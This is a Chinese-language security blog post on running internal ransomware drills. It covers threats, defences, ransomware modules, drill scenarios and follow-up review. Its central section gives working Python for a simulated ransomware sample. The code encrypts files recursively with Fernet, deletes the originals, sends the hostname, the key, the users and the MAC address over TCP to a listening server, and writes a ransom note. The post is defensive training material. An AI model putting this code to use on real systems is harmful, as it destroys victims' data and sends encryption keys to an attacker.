“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
前言
我国作为全球网络安全的重要一环,也不幸受到了勒索攻击的频率明显增加的影响。网络攻击技术的不断演进以及RaaS(Ransomware-as-a-Service)运营模式的成熟,使得即便是技术素养相对较低的不法分子也能够轻松参与其中,并且成功渗透的可能性不断增大。不断有网络犯罪团伙加入到勒索生态当中,漏洞武器化利用速度加快,使得以经济动机为基础的勒索攻击有可能进一步蔓延,对未来网络安全构成潜在的威胁。
此外,针对受害者使用的操作系统进行统计发现,桌面系统仍然是勒索病毒的主要感染目标,占比高达56%。在桌面系统中,Windows 10以及服务器系统中的Windows Server 2008则是最易受到攻击的操作系统类型,这也说明了勒索病毒攻击对于Windows系统的依赖性。
基于以上的现状,企业越来越重视勒索病毒这种攻击方式,意识到其对业务运营和数据安全所构成的严重威胁。为了应对这一威胁,企业可以采取一系列措施来加强网络安全防护,包括但不限于:
- 加强安全意识培训:通过定期的网络安全培训和教育,提高员工对勒索病毒等网络威胁的认识,加强其防范意识和应急响应能力。
- 建立完善的安全策略和流程:制定详细的网络安全策略和应急响应流程,明确责任分工和处置措施,以应对勒索病毒等网络攻击事件。
- 加强网络安全设备和技术的投入:部署先进的网络安全设备和技术,包括防火墙、入侵检测系统(IDS)、行为分析工具等,及时发现和阻止勒索病毒等恶意软件的攻击。
- 定期演练和测试:开展定期的勒索病毒演练和网络安全测试,评估安全策略和流程的有效性,发现和弥补潜在的安全漏洞和缺陷。
在这些措施中,开展勒索病毒演练尤为重要。通过模拟勒索病毒攻击事件,可以有效地检验企业的安全策略和流程,发现潜在的安全风险并及时加以修复。此外,演练还可以提高员工对勒索病毒的认识和应对能力,增强组织对网络安全威胁的应对能力和抵御能力。因此,开展勒索病毒演练是企业加强网络安全防护的重要手段之一。
勒索病毒通常包含几个关键功能模块,这些模块一起工作来实现攻击者的目的,即加密用户数据并要求赎金。以下是一些常见的勒索病毒功能模块:
- 加密模块:这是勒索病毒的核心部分,负责加密受害者的文件。它使用强加密算法(如AES或RSA)来加密文件,使其无法被用户直接访问。
- 生成勒索信:加密文件后,病毒会生成一个赎金通知文件,告知受害者数据被加密,需要支付赎金才能解锁。
- 生成密钥:加密过程中需要生成密钥,这些密钥用于加密和解密文件。通常,攻击者会生成一对公钥和私钥。
- 文件扫描和加密:勒索病毒会扫描受害者的文件系统,寻找特定类型的文件(如文档、图片、视频等)进行加密。
- 通信模块:勒索病毒通常会与攻击者的命令与控制服务器通信,以发送加密后的密钥或接收支付赎金的指示。
- 支付门户链接:病毒会提供支付赎金的方式,如比特币钱包地址,受害者可以通过支付来解锁文件。
- 删除备份文件:某些勒索病毒还会尝试删除备份文件,以增加受害者恢复数据的难度。
- 防止安全软件运行:勒索病毒可能会尝试禁用安全软件或防病毒程序,以防止其被检测和阻止。
其中最核心的为加密模块,为了将相关风险减低到最低,我们可以写一个简易的仿真样本来进行内部演练,主要包含加密和告知用户的勒索信模块。加密通过Fernet对称加密算法来加密文件,相关python代码如下:
# 在受害目录及其子目录中查找并加密指定类型的文件
def
find_and_encrypt_files
(self)
:
encrypted_files = []
for
root, _, files
in
os.walk(self.directory):
for
file
in
files:
if
any(file.endswith(ext)
for
ext
in
self.file_extensions):
file_path = os.path.join(root, file)
encrypted_file_path = self.encrypt_file(file_path)
encrypted_files.append(encrypted_file_path)
print(
f"Encrypted and saved file:
{encrypted_file_path}
"
)
return
encrypted_files
# 执行文件加密,并删除源文件
def
encrypt_file
(self, file_path)
:
fernet = Fernet(self.key)
with
open(file_path,
'rb'
)
as
file:
original = file.read()
encrypted = fernet.encrypt(original)
encrypted_file_path = file_path +
".lotus"
with
open(encrypted_file_path,
'wb'
)
as
encrypted_file:
encrypted_file.write(encrypted)
os.remove(file_path)
return
encrypted_file_path
这里加密的key值可以通过Fernet.generate_key()随机生成,考虑演练的可控性,也可以指定一个32字节的特定密钥。
演练过程中,还需要考虑监控一下哪些机器执行了加密动作,因此我们可以起一个服务来监听客户端的信息,同时仿真勒索病毒还需要有收集终端信息和发送信息的模块。并考虑生成一封勒索信,相关代码如下:
# 获取当前活跃用户的信息
def
get_active_users
(
self
)
:
try:
command =
'whoami '
if
os.name ==
'nt'
else
'who'
output = subprocess.check_output(command, shell=True)
return
output.decode(errors=
'ignore'
)
except subprocess.
CalledProcessError:
return
"Unable to fetch active users"
# 获取当前设备的MAC地址
def
get_mac_address
(
self
)
:
mac_num = hex(uuid.getnode()).replace(
'0x'
,
''
).upper()
mac_num = mac_num.zfill(
12
)
mac =
':'
.join(mac_num[
i:
i +
2
]
for
i
in
range(
0
,
12
,
2
))
return
mac
# 收集受害设备的信息,以字典的形式返回
def
collect_data
(
self
)
:
return
{
'hostname'
: socket.gethostname(),
'key'
:
self
.key,
'active_users'
:
self
.get_active_users(),
'mac_address'
:
self
.get_mac_address()
}
def
send_data_to_server
(
self
)
:
data =
self
.collect_data()
print(data)
self
.send_to_server(json.dumps(data))
# 创建一个TCP连接,将数据编码后发送到指定的服务器地址和端口
def
send_to_server
(
self
, data)
:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as
s:
s.connect((
self
.server_host,
self
.server_port))
s.sendall(data.encode())
except:
quit(
0
)
# 桌面生成勒索信
def
create_readme
(
self
)
:
desktop_path = os.path.join(os.path.join(os.environ[
'USERPROFILE'
]),
'Desktop'
)
readme_path = os.path.join(desktop_path,
'Readme.txt'
)
with open(readme_path,
'w'
) as
file:
file.write(
"我是勒索信内容"
)
print(
'created Readme :)'
)
在攻击者起一个服务端,用于接受客户端的请求信息
def
start
(self)
:
# 创建一个TCP套接字 绑定主机和端口
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((self.host, self.port))
self.server.listen(
5
)
logging.info(
f"
{Fore.YELLOW}
Server listening at
{self.host}
:
{self.port}
.
{Style.RESET_ALL}
"
)
print(
f"
{Fore.YELLOW}
Server listening at
{self.host}
:
{self.port}
{Style.RESET_ALL}
"
)
try
:
while
True
:
connection, address = self.server.accept()
logging.info(
f"Connection established from
{address}
."
)
print(
f"Connection established from
{address}
"
)
# 创建一个新线程来处理客户端请求
client_thread = threading.Thread(target=self.handle_client, args=(connection, address))
client_thread.start()
except
KeyboardInterrupt:
logging.info(
"Shutting down the server."
)
print(
"Server shut down"
)
finally
:
self.server.close()
实现效果如下,弹出勒索信并且指定路径的文件被加密
对应目录的文件被加密
并且服务端已经收到受害者终端上的信息
解密是差不多的方法,这里不过多赘述~
开展勒索病毒演练
在进行仿真勒索病毒演练时,可以考虑以下几个攻击场景,涵盖终端和服务器的情况:
1 终端侧攻击场景:
- 社会工程学攻击:通过钓鱼邮件或社交工程手段,诱使员工点击恶意链接或打开恶意附件,从而感染终端设备。
- 外部存储设备感染:恶意程序通过USB设备等外部存储设备传播到终端,例如利用自动运行功能感染。
- 远程桌面协议攻击:攻击者利用RDP漏洞或远程桌面的弱密码登录终端,然后执行恶意代码进行感染。
2 服务器侧攻击场景:
- 远程桌面服务(RDS)勒索:攻击者通过攻破或利用弱密码登录远程桌面服务,然后在服务器上执行勒索病毒。
- 网络共享感染:恶意程序利用服务器上共享的文件夹,通过网络共享感染其他连接到同一网络的设备。
- 数据库攻击:攻击者利用数据库服务器上的漏洞或弱密码,将勒索病毒程序部署到数据库服务器上,影响整个应用程序的可用性。
具体的执行过程中,主要的步骤包括有:
- 在安全团队的监控下,根据实现安排好的攻击场景,模拟将脚本发送到指定终端,并观察脚本的行为。这包括监控文件系统的变化、网络活动等。
- 分析脚本的执行过程,包括文件加密、勒索信息显示等行为是否符合预期。同时,评估安全团队的响应能力和演练方案的有效性。
- 对演练结果进行总结和分析,评估安全团队的响应能力和演练方案的有效性。这将有助于发现潜在的安全漏洞和改进安全策略。
持续完成演练后的待办事项
一次有效的演练活动能揭示出企业内部一系列的潜在风险,其中包括但不限于:
- 备份策略的不足:企业的备份策略不够健全或不够及时,演练就会揭示出备份数据不完整、不可用或不可靠的情况。
- 安全意识培训的缺失:员工对于勒索病毒及其影响的认识不足,演练就会暴露出需要加强员工培训的需要,包括如何识别可疑邮件、如何报告安全事件等方面。
- 紧急响应计划的不完善:企业的紧急响应计划不够完善或缺乏实践性,演练会揭示出应对紧急情况时团队协调不够顺畅、决策不够迅速等问题。
- 技术措施的不足:企业的安全技术措施不够健全或不够及时更新,演练会暴露出系统易受攻击的弱点,如漏洞未及时修补、安全软件未能及时更新等。
- 法律合规风险:演练也可能暴露出企业在法律合规方面的风险,例如数据保护法规的遵守情况、数据处理和通知受影响方的程序等。 演练动作的完成不意味着演练生命周期的完成,在对演练结果分析和总结以后,需要将相关的信息归入经验教训知识库,称为组织资产的一部分。并确保后续的待办事项持续优化
小结
展望未来,企业应将勒索演练常态化,并持续优化响应流程和方案。通过定期的演练活动,企业可以不断提升应对危机的能力,加强团队的协作和配合,从而在面对真实的勒索病毒攻击时能够迅速、有效地应对,最大程度地减少损失和影响。
参考连接:
[1] 《2023年全球勒索软件态势研究报告》 https://www.dbappsecurity.com.cn/Upload/File/202401/20240115180210_4531.pdf
原文始发于微信公众号(A9 Team):勒索病毒演练实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论